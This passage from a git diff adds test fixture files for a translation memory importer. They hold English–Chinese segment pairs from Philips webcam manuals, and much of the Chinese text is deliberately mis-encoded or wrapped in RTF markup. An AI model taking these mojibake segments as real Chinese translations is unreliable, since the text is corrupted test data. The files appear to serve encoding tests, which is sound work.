)显示出在网络摄åƒå¤´è§†è§’范围内所æ•æ‰åˆ°çš„动作é‡ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +• Click ‘Start monitoring’ to start monitoring. + + +• å•å‡»â€œå¼€å§‹ç›‘测â€(Start monitoring),开始进行监测。 + + + +TI-07196, TI-07196 Neroc SPC620NC +> If movement is detected within the field of view of the WebCam, recording starts automatically. + + +> 如果摄åƒå¤´åœ¨è§†è§’范围内æ•æ‰åˆ°åŠ¨ä½œï¼Œå½•åˆ¶å°†ä¼šè‡ªåŠ¨å¼€å§‹ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +• Click ‘Start monitoring’ again to stop monitoring. + + +• å†æ¬¡å•å‡»â€œå¼€å§‹ç›‘测â€(Start monitoring) 以åœæ­¢ç›‘测。 + + + +TI-07196, TI-07196 Neroc SPC620NC +• Click ‘All logs’ to display all available logs in the content panel. + + +• å•å‡»â€œæ‰€æœ‰è®°å½•â€(All logs) 以在内容é¢æ¿ä¸­æ˜¾ç¤ºæ‰€æœ‰å¯ç”¨è®°å½•ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +• Click ‘By date’ to display the content of the various recording dates in the content panel. + + +• å•å‡»â€œæŒ‰æ—¥æœŸâ€(By date) 以在内容é¢æ¿ä¸­æ˜¾ç¤ºä¸åŒå½•åˆ¶æ—¥æœŸçš„内容。 + + + +TI-07196, TI-07196 Neroc SPC620NC +• Click on a date to display the log(s) made on that date in the content panel. + + +• å•å‡»æŸä¸€æ—¥æœŸï¼Œå¯åœ¨å†…容é¢æ¿ä¸­æ˜¾ç¤ºåœ¨æ­¤æ—¥æœŸå½•åˆ¶çš„记录。 + + + +TI-07196, TI-07196 Neroc SPC620NC +• Click ‘ ’ to maximize the lower part of the screen and display the camera preview. + + +å•å‡»â€œ â€æœ€å¤§åŒ–ç”»é¢çš„下åŠéƒ¨ï¼Œå¹¶æ˜¾ç¤ºæ‘„åƒé¢„览。 + + + +Neroc SPC1300 NC +This option enables Philips patented Pixel Plus technology and + + +该选项采用了 Philips é€ç‚¹æ™¶æ™° (Pixel Plus) 专利技术, + + + +TI-07196 Neroc SPC620NC +• Click ‘ ’ to maximize the upper part of the screen and display your videologs. + + +å•å‡»â€œ â€æœ€å¤§åŒ–ç”»é¢çš„上部,并显示视频记录。 + + + +TI-07196, TI-07196 Neroc SPC620NC +• Move your cursor onto a button to see a brief explanation of the button function. + + +• 将光标移至按钮,显示相应按钮功能的简介。 + + + +Neroc SPC1000 NC +To fully benefit from the support that Philips offers, register your product at www.philips.com/welcome. + + +为能充分利用 Philips æ供的支æŒï¼Œè¯·åœ¨ä»¥ä¸‹ç½‘å€æ³¨å†Œæœ¬äº§å“:www.philips.com/welcome。 + + + +Neroc SPC1000 NC +Your WebCam + + +您的网络摄åƒå¤´ + + + +Neroc SPC1300 NC +The lower part of the screen will be split in two halfs; on the left you see the current picture, on the right you see the enhanced picture. + + +å±å¹•ä¸‹åŠéƒ¨åˆ†å°†åˆ†ä¸ºä¸¤ä¸ªå›¾åƒçª—å£ï¼Œå·¦è¾¹æ˜¾ç¤ºä¸ºå½“å‰å›¾åƒï¼Œå³è¾¹æ˜¾ç¤ºä¸ºå¢žå¼ºåŽçš„图åƒã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +Monitor settings + + +监测设置 + + + +TI-07196, TI-07196 Neroc SPC620NC +• Click ‘ ’ to access the ‘Monitor settings’ menu. + + +• å•å‡»â€œ â€è¿›å…¥â€œç›‘测设置â€(Monitor settings) èœå•ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +• Enter the minimum memory capacity you wish to remain on your harddisk during recording. + + +• 输入录制时希望硬盘留有的最å°ç©ºé—´å¤§å°ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +> Recording stops automatically when harddisk space comes below the set amount of Mbs. + + +> 当硬盘空间å°äºŽæ‰€è®¾å¤§å°æ—¶ï¼Œå½•åˆ¶å°†è‡ªåŠ¨åœæ­¢ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +• Check the ‘Notification’ box if you wish a notification to be send to an e-mail address when movement is detected. + + +• 如果您希望å‘æŸä¸€ç”µå­é‚®ä»¶åœ°å€å‘é€åŠ¨ä½œæ•æ‰é€šçŸ¥ï¼Œè¯·å‹¾é€‰â€œé€šçŸ¥â€(Notification) å¤é€‰æ¡†ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +• Enter the e-mail address you wish the notification to be sent to. + + +• 输入希望收到通知的电å­é‚®ä»¶åœ°å€ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +• Use the ‘Browse’ button to select an audio file if you wish an audio file to start playing as soon as movement is detected. + + +• 如果您希望在æ•æ‰åˆ°åŠ¨ä½œæ—¶ç«‹å³å¼€å§‹æ’­æ”¾éŸ³é¢‘文件,请å•å‡»â€œæµè§ˆâ€(Browse) 按钮,选择音频文件。 + + + +TI-07196, TI-07196 Neroc SPC620NC +• Use the sensitivity slider to set the desired sensitivity level for the WebCam detector.The sensitivity level determines the minimum amount of movement that will cause the WebCam to start recording. + + +• 使用çµæ•åº¦æ»‘å—设置ç†æƒ³çš„网络摄åƒå¤´æŽ¢æµ‹å™¨çš„çµæ•åº¦ã€‚çµæ•åº¦å†³å®šäº†ä¿ƒä½¿ç½‘络摄åƒå¤´å¼€å§‹å½•åƒçš„最å°åŠ¨ä½œé‡ã€‚ + + + +Neroc SPC1000 NC +Congratulations on your purchase and welcome to Philips! + + +感谢您购买并欢迎访问 Philips ç½‘ç«™ï¼ + + + +TI-07196, TI-07196 Neroc SPC620NC +The higher the sensitivity level, the sooner recording starts. + + +çµæ•åº¦è¶Šé«˜ï¼Œå½•åˆ¶ä¾¿ä¼šè¶Šå¿«å¼€å§‹ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +• Click the ‘OK’ button to store your settings and close the dialogue box or click ‘ ’ or the ‘Cancel’ button to close the dialogue box without saving any settings. + + +• å•å‡»â€œç¡®å®šâ€(OK) 按钮ä¿å­˜æ‚¨çš„设置并关闭对è¯æ¡†ï¼Œä¹Ÿå¯ä»¥å•å‡»â€œ â€æˆ–“å–消â€(Cancel) 按钮关闭对è¯æ¡†è€Œä¸ä¿å­˜è®¾ç½®ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +Deleting videologs + + +删除录åƒè®°å½• + + + +TI-07196, TI-07196 Neroc SPC620NC +1 Select the logs you wish to delete in the content panel or under ‘By date’. + + +1 在内容é¢æ¿ä¸­æˆ–在“按日期â€(By date) 目录下选中您想删除的记录。 + + + +TI-07196, TI-07196 Neroc SPC620NC +3 Click the ‘OK’ button to delete the selected videologs. + + +3 å•å‡»â€œç¡®å®šâ€(OK) 按钮,删除所选视频记录。 + + + +TI-07196, TI-07196 Neroc SPC620NC +In the ‘Broadcast’ menu you can select a website where you can broadcast your videos live. + + +在“å‘布â€(Broadcast) èœå•ä¸­ï¼Œæ‚¨å¯ä»¥é€‰æ‹©è¦å‘布实时视频的网站。 + + + +Neroc SPC1000 NC +Volume level wizard + + +音é‡è®¾ç½®å‘导 + + + +Neroc SPC1000 NC +Microphone volume + + +éº¦å…‹é£ŽéŸ³é‡ + + + +TI-07196, TI-07196 Neroc SPC620NC +• Click the ‘Broadcast’ tab to open the ‘Broadcast’ menu. + + +• å•å‡»â€œå‘布â€(Broadcast) 选项å¡ä»¥æ‰“开“å‘布â€(Broadcast) èœå•ã€‚ + + + +Neroc SPC1000 NC +Helps you set up the microphone volume level. + + +å¯å¸®åŠ©æ‚¨è®¾ç½®éº¦å…‹é£Žçš„音é‡å¤§å°ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +• Select the desired website by clicking the corresponding ‘Launch’ button. + + +• å•å‡»ç›¸åº”的“开始â€â€˜(Launch) 按钮,选择需è¦çš„网站。 + + + +Neroc SPC1000 NC +• Test the microphone volume level by clicking the 'Start' button. + + +• å•å‡»â€œå¼€å§‹â€ï¼ˆStart)按钮,测试麦克风的音é‡å¤§å°ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +• Follow the on-screen instructions for live broadcasting of your videos on the selected website. + + +• 按照å±å¹•ä¸Šæ˜¾ç¤ºçš„说明,在所选网站上实时å‘布您的视频。 + + + + + +
    \ No newline at end of file diff --git a/test/net.heartsome.cat.ts.test/testFiles/ImportTBXTest0.tbx b/test/net.heartsome.cat.ts.test/testFiles/ImportTBXTest0.tbx new file mode 100644 index 0000000..e69de29 diff --git a/test/net.heartsome.cat.ts.test/testFiles/ImportTMXTest.tmx b/test/net.heartsome.cat.ts.test/testFiles/ImportTMXTest.tmx new file mode 100644 index 0000000..770d9fc --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/ImportTMXTest.tmx @@ -0,0 +1,2028 @@ + + + +
    +
    + + +TI-07196 Neroc SPC620NC + +test modify date + +测'试'ä¿®'改'æ—¥'期 + + + +H'e'a'd's'e't' 'w'i't'h' 'e'a'r'p'h'o'n'e's, + +{\f4 带'å¬'ç­’'ã€'线'上'麦'å…‹'风ã€æ³¡æ²«''耳垫åŠè¡£é¢†å¤¹ï¼ˆä»…}{\f2 SPC505}{\f4 )} + + + +in'-'c'o'r'd' 'm'i'c'r'o'p'h'o'n'e','f'o'a'm' 'p'a''d's' 'a'n'd' 's''h'i'r't' c'l'i'p' '('S'P'C'5'05' 'o'n'l'y')' + +µÄ¶ú»ú + + + +{\cf18 7 }{\cf17 External microphone} + +{\f2\cf18 7 }{\cf17\f4 外置麦克风} + + + +{\b Headset }{\i (SPC505NC only) }{\b with:} + +{\f4\b 耳机}{\f4\i (仅}{\f2\i SPC505NC}{\f4\i )}{\f4\b é…有:} + + + +Headset with headphone and microphone(SPC525NC only) + +带å¬ç­’和麦克风的耳机(仅{\f5 SPC525NC}) + + + +8 Earphones + +{\f2 8 }{\f4 耳机} + + +TI_07083 Neroc SPC220 + 225 + +Audio settings + +音频设置 + + +TI_07083 Neroc SPC220 + 225 + +Volume slider + +音é‡è°ƒèŠ‚æ»‘å— + + +TI_07083 Neroc SPC220 + 225 + +This slider provides manual control over the microphone volume. + +此滑å—å¯ç”¨äºŽæ‰‹å·¥è°ƒèŠ‚麦克风的音é‡ã€‚ + + +TI_07083 Neroc SPC220 + 225 + +CIF CMOS + +CIF CMOS + + +TI_07083 Neroc SPC220 + 225 + +Picture settings + +图片设置 + + + +For listening to your meeting partner during video calling. + +ÊÓƵ¶Ô»°Ê±ÓÃÓÚÌý¶Ô·½µÄÉùÒô¡£ + + + +9 Foam pads + +{\f2 9 }{\f4 泡沫耳垫} + + + +Supply comfort for your ears when video chatting. + +ÊÓƵÃÄÌìʱΪÄúµÄ¶ú¶ä´øÀ´ÊæÊʸᣠ+ + + +10 In-cord microphone + +{\f2 10 }{\f4 线上麦克风} + + + +For talking to your meeting partner during video calling.. + +ÊÓƵ¶Ô»°Ê±ÓÃÓÚÃò¶Ô·½´«ËÃÄúµÄÉùÒô¡£ + + + +{\b 11 Audio cable }{\i (SPC505NC only)} + +{\f2\b 11 }{\f4\b 音频缆线}{\f4\i (仅}{\f2\i SPC505NC}{\f4\i )} + + + +– Grey headphone plug (n) - for connecting to the headphone socket of the pc sound card. + +–{\f2 }{\f4 ç°è‰²è€³æœºæ’头}{\f2 (n) }—{\f2 }{\f4 用于连接至}{\f2 PC }{\f4 声å¡çš„耳机æ’孔。} + + + +– White microphone plug ( ) - for connecting to the microphone or green socket of the pc sound card. + +–{\f2 }{\f4 白色麦克风æ’头}{\f2 ( ) }—{\f2 }{\f4 用于连接至}{\f2 PC }{\f4 声å¡çš„麦克风æ’孔或绿色æ’孔。} + + + +12 Shirt clip + +{\f2 12 }{\f4 衣领夹} + + + +For attaching the audio cable to your shirt. + +ÓÃÓÚ½«ÒôƵÀÂÃ߹̶¨ÔÚÄúµÄÒ·þÉᣠ+ + + +{\cf18 16 }{\cf17 Operating the WebCam} + +{\f2\cf18 16 }{\cf17\f4 网络摄åƒå¤´çš„æ“作} + + + +16 WebCam Video Viewer + +{\f2 16 }{\f4 网络摄åƒå¤´è§†é¢‘查看器}{\f2 (WebCam Video Viewer)} + + + +17 Instant messenging (video chatting, video calling and VoIP) + +{\f2 17 }{\f4 å³æ—¶æ¶ˆæ¯ï¼Œå¦‚视频èŠå¤©ã€è§†é¢‘电è¯å’Œ}{\f2 VoIP} + + + +• Video: + +•{\f2 }{\f4 视频:} + + + +{\afs18 use the Philips SPC500NC/SPC505NC WebCam for video chatting and video calling.The WebCam works with Skype,Windows}{\afs14 ® }{\afs18 Live Messenger,Yahoo!} + +{\afs18\f4 使用}{\f2\afs18 Philips SPC500NC/SPC505NC }{\afs18\f4 网络摄åƒå¤´å®žçŽ°è§†é¢‘èŠå¤©å’Œè§†é¢‘电è¯ã€‚该网络摄åƒå¤´å¯ç”¨äºŽ}{\f2\afs18 Skype}{\afs18\f4 ã€}{\f2\afs18 Windows}{\f2\afs14 ® }{\f2\afs18 Live Messenger}{\afs18\f4 ã€}{\f2\afs18 Yahoo!} + + + +Messenger, AOL Messenger, QQ and other free instant messenging and VoIP (Voice over Internet Protocol) services; + +{\f2 Messenger}{\f4 ã€}{\f2 AOL Messenger}{\f4 ã€}{\f2 QQ }{\f4 以åŠå…¶ä»–å…è´¹å³æ—¶æ¶ˆæ¯å’Œ}{\f2 VoIP}{\f4 (基于互è”网å议的语音)æœåŠ¡ï¼›} + + + +{\afs18\cf18 The software supplied only works on PCs with the operating systems }{\afs18\cf17 Microsoft}{\afs14\cf17 ® }{\afs18\cf17 Windows}{\afs14\cf17 ® }{\afs18\cf17 98SE, ME, 2000, XP and Vista.} + +{\afs18\cf18\f4 éšé™„的软件åªå¯ç”¨äºŽå®‰è£…了}{\f2\afs18\cf18 }{\f2\afs18\cf17 Microsoft}{\f2\afs14\cf17 ® }{\f2\afs18\cf17 Windows}{\f2\afs14\cf17 ® }{\f2\afs18\cf17 98SE}{\afs18\cf17\f4 ã€}{\f2\afs18\cf17 ME}{\afs18\cf17\f4 ã€}{\f2\afs18\cf17 2000}{\afs18\cf17\f4 ã€}{\f2\afs18\cf17 XP }{\afs18\cf17\f4 å’Œ}{\f2\afs18\cf17 Vista }{\afs18\cf18\f4 æ“作系统的}{\f2\afs18\cf18 PC}{\afs18\cf18\f4 。} + + + +> After a couple of seconds the ‘Welcome’ screen appears, followed by the ‘Language selection’ screen. + +{\f2 > }{\f4 几秒钟åŽå°†æ˜¾ç¤ºâ€œæ¬¢è¿Žâ€}{\f2 (Welcome) }{\f4 ç”»é¢ï¼Œä¹‹åŽä¼šæ˜¾ç¤ºâ€œè¯­è¨€é€‰æ‹©â€}{\f2 (Language selection) }{\f4 ç”»é¢ã€‚} + + + +{\afs18\cf18\i If the }{\afs18\cf17\i 'Welcome' }{\afs18\cf18\i screen does not appear automatically, open the Microsoft}{\afs14\cf18 ®}{\afs18\cf18\i Windows}{\afs14\cf18 ® }{\afs18\cf18\i Explorer and double click on the 'Set-up.exe' icon in the CD-ROM directory.} + +{\afs18\cf18\f4\i 如果未自动显示}{\afs18\cf17\f4\i “欢迎â€}{\f2\afs18\cf17\i (Welcome) }{\afs18\cf18\f4\i ç”»é¢ï¼Œè¯·æ‰“å¼€}{\f2\afs18\cf18\i Microsoft}{\f2\afs14\cf18 ®}{\f2\afs18\cf18\i Windows}{\f2\afs14\cf18 ® }{\afs18\cf18\f4\i 资æºç®¡ç†å™¨ï¼Œå¹¶åœ¨}{\f2\afs18\cf18\i CD-ROM }{\afs18\cf18\f4\i 目录下åŒå‡»}{\f2\afs18\cf18\i “Set-up.exe†}{\afs18\cf18\f4\i 图标。} + + + +> Installation continues automatically. + +{\f2 > }{\f4 安装将自动继续。} + + + +> The ‘Manual’ screen appears. + +{\f2 > }{\f4 出现“指å—â€}{\f2 (Manual) }{\f4 ç”»é¢ã€‚} + + + +{\b 3 }Select the first option if you wish to read the user manual before continuing installation.You can print out the manual so you will have it at hand during the rest of the installation process. + +{\f2 3 }{\f4 如果您希望在继续安装å‰é˜…读用户指å—,请选择第一个选项。您å¯å°†æŒ‡å—打å°å‡ºæ¥ï¼Œä»¥ä¾¿åœ¨ä¹‹åŽçš„安装步骤中éšæ—¶æŸ¥é˜…。} + + + +After you read or printed the user manual, continue installation by selecting the second option. + +ûò´òÓ¡ÃËÓû§Ö¸ÄÃÖ®ºó£¬Ñ¡ÔñµÚ¶þ¸öÑ¡Ãî±ã¿É¼ÌÃø°²×°¡£ + + + +Select the second option if you wish to continue installation. + +Èç¹ûÄúãÃû¼ÌÃø°²×°£¬ÇëÑ¡ÔñµÚ¶þ¸öÑ¡Ãî¡£ + + + +> The ‘Installation’ screen appears. + +{\f2 > }{\f4 出现“安装â€}{\f2 (Installation) }{\f4 ç”»é¢ã€‚} + + + +The items that can be installed are shown on the left side of the screen. + +ÔÚÆÃÄ»×ó±ß»áÃÔʾ¿É°²×°Ãî¡£ + + + +An explanation of each item is given on the right side. + +ÆÃÄ»ÓÒ±ßÔòÃÔʾÿÃîµÄ˵Ã÷¡£ + + + +All items are already selected for installation. + +ÒÑÑ¡Ôñ°²×°ËùÓÃÃî¡£ + + + +{\b 4 }Click the '{\b Next}' button if you wish to install all items. + +{\f2\b 4 }{\f4\b 如果您希望安装所有项,请å•å‡»}{\f4 “}{\f4\b 下一步}{\f4 â€}{\f2\b (Next}{\f2 )}{\f4 。} + + + +If there are certain items you do not wish to install, check the boxes before these items. + +Èç¹ûÄú²»Ã£Ãû°²×°Ä³Ã©ÃÇëÇå³ýÕâéÃîÇ°µÄ¸´Ñ¡¿ò¡£ + + + +{\cf18 Select at least }‘{\cf18 SPC500NC WebCam Driver}’{\cf18 and }‘{\cf17 WebCam Video Viewer}’{\cf18 for SPC500NC WebCam as well as for SPC505NC WebCam (software is the same for both WebCams).} + +{\cf18\f4 对于}{\f2\cf18 SPC500NC }{\cf18\f4 å’Œ}{\f2\cf18 SPC505NC }{\cf18\f4 网络摄åƒå¤´ï¼Œè¯·è‡³å°‘选择}{\f2\cf18 }{\cf18\f4 “}{\f2\cf18 SPC500NC }{\cf18\f4 网络摄åƒå¤´é©±åŠ¨ç¨‹åºâ€}{\f2\cf18 (SPC500NC WebCam Driver) }{\cf18\f4 å’Œ}{\cf17\f4 “网络摄åƒå¤´è§†é¢‘查看器â€}{\f2\cf17 (WebCam Video Viewer)}{\cf18\f4 (这两ç§ç½‘络摄åƒå¤´ä½¿ç”¨ç›¸åŒçš„软件)。} + + + +Click the 'Next' button. + +å•å‡»â€œ{\b 下一步}â€{\f2 (}{\b\f2 Next) }按钮。 + + + +V(ideo)-Lounge desktop shortcut will be installed after installation. + +安装完æˆåŽï¼Œå°†åˆ›å»º{\f5 V(ideo)-Lounge }æ¡Œé¢å¿«æ·æ–¹å¼ã€‚ + + + +{\b 6 }Select the user manual. + +{\f2 6 }{\f4 选择用户指å—。} + + + +> The ’Reboot’ screen appears. + +{\f2 > }{\f4 出现“é‡æ–°å¯åŠ¨}{\f2 (Reboot)}{\f4 â€ç”»é¢ã€‚} + + + +{\b 7 }Select ‘{\b Yes}’ to restart your PC / laptop. + +{\f2\b 7 }{\f4\b 选择“是â€}{\f2 (}{\f2\b Yes}{\f2 )}{\f4 ,é‡æ–°å¯åŠ¨æ‚¨çš„}{\f2 PC /}{\f4 笔记本电脑。} + + + +{\f2\cf18 > }{\f2\cf17 The WebCam Video Viewer desktop shortcut }{\cf17\f4 â–¡}{\f2\cf17 will be installed after installation.} + +{\f2\cf18 >}{\cf17\f4 软件安装完毕åŽï¼Œå°†å®‰è£…网络摄åƒå¤´è§†é¢‘查看器}{\f2\cf17 (WebCam Video Viewer) }{\cf17\f4 æ¡Œé¢å¿«æ·æ–¹å¼}{\f2\cf17 }{\cf17\f4 □。} + + + +{\cf18 > }{\cf17 Via the WebCam Video Viewer you have access to all camerarelated software.} + +{\f2\cf18 > }{\cf17\f4 通过网络摄åƒå¤´è§†é¢‘查看器}{\f2\cf17 (WebCam Video Viewer)}{\cf17\f4 ,您å¯è®¿é—®æ‰€æœ‰æ‘„åƒå¤´ç›¸å…³è½¯ä»¶ã€‚} + + + +See ‘Using the applications’. + +²Î¼û¡°Ê¹ÓÃÓ¦ÓóÌÃò¡±¡£ + + + +{\b 4 }Aim the webcam as required. + +{\f2 4 }{\f4 按è¦æ±‚对准网络摄åƒå¤´ã€‚} + + + +{\b 5 }Push the USB cable into the cable management slot. + +{\f2\b 5 }{\f4\b å°†}{\f2 USB }{\f4 缆线置入缆线管ç†æ’槽中。} + + + +•{\cf18 Connect the }{\cf17 grey }{\cf18 headphone plug (n) to the headphone socket of the PC sound card.} + +•{\f2\cf18 }{\cf18\f4 å°†}{\cf17\f4 ç°è‰²}{\cf18\f4 耳机æ’头}{\f2\cf18 (n) }{\cf18\f4 连接至}{\f2\cf18 PC }{\cf18\f4 声å¡çš„耳机æ’孔。} + + + +•{\cf18 Connect the }{\cf17 white }{\cf18 microphone plug }{\cf17 ( )}{\cf18 to the microphone or green socket of the sound card.} + +•{\f2\cf18 }{\cf18\f4 å°†}{\cf17\f4 白色}{\cf18\f4 麦克风æ’头}{\f2\cf18 }{\f2\cf17 ( ) }{\cf18\f4 连接至声å¡çš„麦克风æ’孔或绿色æ’孔。} + + + +• If desired, attach the foam pads to the earphones for more listening comfort. + +•{\f2 }{\f4 如果需è¦ï¼Œä¹Ÿå¯ä»¥å°†å¬ç­’套上泡沫耳垫,以便更加舒适。} + + + +• If desired, click the audio cable into the shirt clip and attach the clip to your shirt. + +•{\f2 }{\f4 如果需è¦ï¼Œä¹Ÿå¯ä»¥å°†éŸ³é¢‘缆线å¡å…¥è¡£é¢†å¤¹ï¼Œå†å°†è¡£é¢†å¤¹å›ºå®šåœ¨æ‚¨çš„è¡£æœä¸Šã€‚} + + + +The Philips SPC500NC/SPC505NC video properties can be changed: + +{\f4 å¯é€šè¿‡ä»¥ä¸‹æ–¹å¼æ”¹å˜}{\f2 Philips SPC500NC/SPC505NC }{\f4 的视频属性:} + + + +- from within an application; + +—{\f2 }{\f4 从应用程åºä¸­æ”¹å˜ï¼š} + + + +- by clicking the WebCam Video Viewer icon in the Windows taskbar, bottom right of your screen, or + +—{\f2 }{\f4 通过å•å‡»å±å¹•å³ä¸‹è§’}{\f2 Windows }{\f4 任务æ ä¸­çš„网络摄åƒå¤´è§†é¢‘查看器}{\f2 (WebCam Video Viewer) }{\f4 图标,或} + + + +- by selecting ‘Advance’ in the WebCam Video Viewer. + +—{\f2 }{\f4 通过选择网络摄åƒå¤´è§†é¢‘查看器}{\f2 (WebCam Video Viewer) }{\f4 中的“高级â€}{\f2 (Advance)}{\f4 。} + + + +See ‘Operating the WebCam. + +{\f2 16 }{\cf17\f4 å‚è§â€œç½‘络摄åƒå¤´çš„æ“作â€ã€‚} + + + +Operating the WebCam + +ÃøÂçÉãÃñ÷µÄ²Ù×÷ + + + +WebCam Video Viewer + +{\f4 网络摄åƒå¤´è§†é¢‘查看器}{\f2 (WebCam Video Viewer)} + + + +All WebCam applications can be accessed via the WebCam Video Viewer.The WebCam Video Viewer is the central application for easy access to your Philips WebCam and all image and video applications installed during setup. + +{\f4 所有网络摄åƒå¤´åº”用程åºéƒ½å¯é€šè¿‡ç½‘络摄åƒå¤´è§†é¢‘查看器}{\f2 (WebCam Video Viewer) }{\f4 æ¥è®¿é—®ã€‚网络摄åƒå¤´è§†é¢‘查看器}{\f2 (WebCam Video Viewer) }{\f4 是一个中心应用程åºï¼Œæ‚¨å¯é€šè¿‡å®ƒè½»æ¾è®¿é—®}{\f2 Philips }{\f4 网络摄åƒå¤´ä»¥åŠåœ¨è®¾ç½®è¿‡ç¨‹ä¸­å®‰è£…的所有图åƒå’Œè§†é¢‘应用程åºã€‚} + + + +• Start the WebCam Video Viewer: + +•{\f2 }{\f4 å¯é€šè¿‡ä»¥ä¸‹æ–¹å¼å¯åŠ¨ç½‘络摄åƒå¤´è§†é¢‘查看器}{\f2 (WebCam Video Viewer)}{\f4 :} + + + +- through the Windows QuickLaunch menu in your taskbar, + +—{\f2 }{\f4 通过任务æ ä¸­çš„}{\f2 Windows }{\f4 快速å¯åŠ¨èœå•ï¼Œ} + + + +- via the program group ‘SPC500NC WebCam’, or + +—{\f2 }{\f4 通过“}{\f2 SPC500NC }{\f4 网络摄åƒå¤´â€ç¨‹åºç»„,或} + + + +- by clicking the the WebCam Video Viewer icon on the desktop. + +—{\f2 }{\f4 通过å•å‡»æ¡Œé¢ä¸Šçš„网络摄åƒå¤´è§†é¢‘查看器}{\f2 (WebCam Video Viewer) }{\f4 图标。} + + + +> The WebCam Video Viewer will now be initiated and the WebCam Video Viewer selection screen appears. + +{\f2 > }{\f4 此时将åˆå§‹åŒ–网络摄åƒå¤´è§†é¢‘查看器}{\f2 (WebCam Video Viewer)}{\f4 ,然åŽä¼šå‡ºçŽ°ç½‘络摄åƒå¤´è§†é¢‘查看器}{\f2 (WebCam Video Viewer) }{\f4 的选择画é¢ã€‚} + + + +• Select ‘{\b Format}’ if you wish to adjust the video format: + +•{\f2 }{\f4 如果您想è¦è°ƒæ•´è§†é¢‘æ ¼å¼ï¼Œè¯·é€‰æ‹©â€œ}{\f4\b æ ¼å¼}{\f4 â€}{\f2 (}{\f2\b Format}{\f2 )}{\f4 :} + + + +> The ‘Properties’ screen appears. + +{\f2 > }{\f4 出现“属性â€}{\f2 (Properties) }{\f4 ç”»é¢ã€‚} + + + +- Frame Rate (30,000): + +—{\f2 }{\f4 帧率}{\f2 (30,000)}{\f4 :} + + + +the number of frames displayed per second.The higher the frame rate, the better the video quality. + +ÿÃëÃÔʾµÄÖ¡Êý¡£Ö¡ÂÊÔ½¸ß£¬Ã¼ÃñÖÊÿԽºÃ¡£ + + + +- Color Space (RGB 24) / Compression (1420): + +—{\f2 }{\f4 色彩空间}{\f2 (RGB 24) / }{\f4 色彩压缩}{\f2 (1420)}{\f4 :} + + + +Compression 1420 reduces the quantity of data used to show video content without excessively reducing the picture quality. + +{\f4 色彩压缩}{\f2 1420 }{\f4 å‡å°‘了用于显示视频内容的数æ®é‡ï¼Œä½†åˆä¸ä¼šæ˜Žæ˜¾é™ä½Žå›¾ç‰‡è´¨é‡ã€‚} + + + +Compressed video files are easier to store and transmit than non-compressed video files. + +ѹËõµÄÊÓƵÎļþ±ÈÆðδѹËõµÄÊÓƵÎļþ¸üÒ×´æ´¢ºÃ´«Ëᣠ+ + + +Select this option for Internet applications. + +ÔÚʹÓû¥ÃªÃøÓ¦ÓóÌÃòʱ£¬¿ÉÑ¡Ôñ´ËÑ¡Ãî¡£ + + + +Operating the camera + +{\f2 16 }{\f4 æ‘„åƒå¤´çš„æ“作} + + + +Color space is a representation of the amount of color gradations the WebCam is able to capture, expressed in bits per pixel (individual point of color). + +{\f4 色彩空间代表了网络摄åƒå¤´èƒ½æ•èŽ·çš„色彩层次的é‡ï¼Œå•ä½ä¸ºâ€œä½}{\f2 /}{\f4 åƒç´ â€ï¼ˆé¢œè‰²çš„æ¯ä¸ªç‚¹ï¼‰ã€‚} + + + +RGB24, also known as Truecolor, refers to 8 bit per color component (Red, Green, Blue), resluting in 24 bits per pixel.This modes makes it possible to represent 256 gradations of each color component. + +{\f2 RGB24}{\f4 (å³â€œçœŸå½©è‰²â€ï¼‰æŒ‡æ¯ç§è‰²å½©å…ƒç´ ï¼ˆçº¢ã€ç»¿ã€ç¯®ï¼‰å ç”¨}{\f2 8 }{\f4 ä½ï¼Œå› æ­¤ï¼Œæ¯ä¸ªåƒç´ ä¾¿å ç”¨}{\f2 24 }{\f4 ä½ã€‚通过这ç§æ¨¡å¼ï¼Œå¯ä»¥å°†æ¯ç§è‰²å½©å…ƒç´ ä»¥}{\f2 256 }{\f4 个层次表现出æ¥ã€‚} + + + +Select this option for non-Internet applications. + +ʹÓ÷ǻ¥ÃªÃøÓ¦ÓóÌÃòʱ£¬¿ÉÑ¡Ôñ´ËÑ¡Ãî¡£ + + + +- Output size (resolution): + +—{\f2 }{\f4 输出大å°ï¼ˆåˆ†è¾¨çŽ‡ï¼‰ï¼š} + + + +Resolution is the number of pixels (individual points of color) on both horizontal and vertical axis of a monitor.The sharpness of the displayed image depends on the resolution and the size of the monitor.The higher the output size, the higher the resolution (and sharpness) of the displayed image. + +·Ö±æÂÊÊÇÖ¸Ò»¸öÃÔʾÆ÷ºáÃòÖáºÃ×ÃÃòÖáÉõÄÃñËØ£¨ÑÕÉ«µÄÿ¸öµã£©¸öÊý¡£ÃÔʾµÄüÃñÊÇ·ñ±ÆÕæÒÀÀµÓÚÃÔʾÆ÷µÄ·Ö±æÂʺôóá¡£Êä³öÔ½¸ß£¬ÃÔʾüÃñµÄ·Ö±æÂÊ£¨±ÆÕæ¶È£©¾ÃÔ½¸ß¡£ + + + +• Select ‘{\b Advance}’ to access the WebCam settings. + +•{\f2 }{\f4 选择“}{\f4\b 高级}{\f4 â€}{\f2 (}{\f2\b Advance}{\f2 )}{\f4 ,进入网络摄åƒå¤´è®¾ç½®}{\f2 (WebCam settings) }{\f4 ç•Œé¢ã€‚} + + + +See ‘WebCam settings’. + +{\f4 å‚è§â€œç½‘络摄åƒå¤´è®¾ç½®â€}{\f2 (WebCam settings)}{\f4 。} + + + +• Check the ‘{\b Capture Audio}’ box if you wish to capture your voice as well during video recording. + +•{\f2 }{\f4 如果您希望在录åƒè¿‡ç¨‹ä¸­æ•èŽ·å£°éŸ³ï¼Œè¯·å‹¾é€‰â€œ}{\f4\b æ•èŽ·éŸ³é¢‘}{\f4 â€}{\f2 (}{\f2\b Capture Audio}{\f2 ) }{\f4 å¤é€‰æ¡†ã€‚} + + + +Making a video recording + +¼ÖÆÊÓƵ + + + +{\b 1 }Select ‘{\b 